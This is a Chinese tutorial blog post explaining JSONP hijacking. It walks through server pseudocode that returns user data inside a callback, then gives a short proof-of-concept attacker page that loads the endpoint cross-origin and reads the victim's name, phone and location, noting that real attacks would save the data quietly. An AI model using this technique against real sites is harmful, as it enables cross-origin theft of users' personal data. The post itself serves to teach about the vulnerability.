zoukankan      html  css  js  c++  java
  • 理解jsonp劫持漏洞

    JSONP劫持

    存在漏洞的链接格式类似于以下这种:

    http://www.xxx.com/xxx.do?callback=info
    参数名也常见有cb jsoncb call jsoncall cback等

    分析jsonp原理

    http://www.xxx.com/xxx.do 服务器伪代码:

    //获取callback的值
    $name=$_GET["callback"];
    //校验用户身份信息,从数据库获取用户信息
    $result=查库并返回结果
    //返回信息
    $name+"("+$result+")"
    //放到实际例子就是这样的
    info({"name":"Jack","phone":"18888888888","location":"NanJin"})
    

    jsonp响应:

    info({"name":"Jack","phone":"18888888888","location":"NanJin"})

    json格式:

    {"name":"Jack","phone":"18888888888","location":"NanJin"}

    上面的jsonp响应其实是一句js代码:

    执行info() 函数 ,{"name":"Jack","phone":"18888888888","location":"NanJin"}作为入参

    攻击者构造一个页面http://hack.html

    包含以下代码

    <script>
    function info(data){alert(JSON.stringify(data)); }
    </script>
    <script src="http://www.xxx.com/xxx.do?callback=info"></script>
    

    script标签的src属性可以跨域引入脚本,因此hack.html引入js后相当于:

    <script>
    function info(data){ alert(JSON.stringify(data)); }
    info({"name":"Jack","phone":"18888888888","location":"NanJin"})
    </script>
    

    弹出用户信息,即可证明该页面可以跨域操作用户敏感数据;实际攻击中,不会弹窗,而是会偷偷把数据存起来~

  • 相关阅读:
    如何提高使用Java反射的效率?
    程序猿必知必会Linux命令之awk
    Java日志正确使用姿势
    “==”、“equals()”、“hashcode()”之间的秘密
    Mybatis缓存
    Java高并发至Synchronized
    web.py
    python爬虫模块理解
    通用http状态码
    SpringMVC的理论
  • 原文地址:https://www.cnblogs.com/mkdd/p/10129532.html
Copyright © 2011-2022 走看看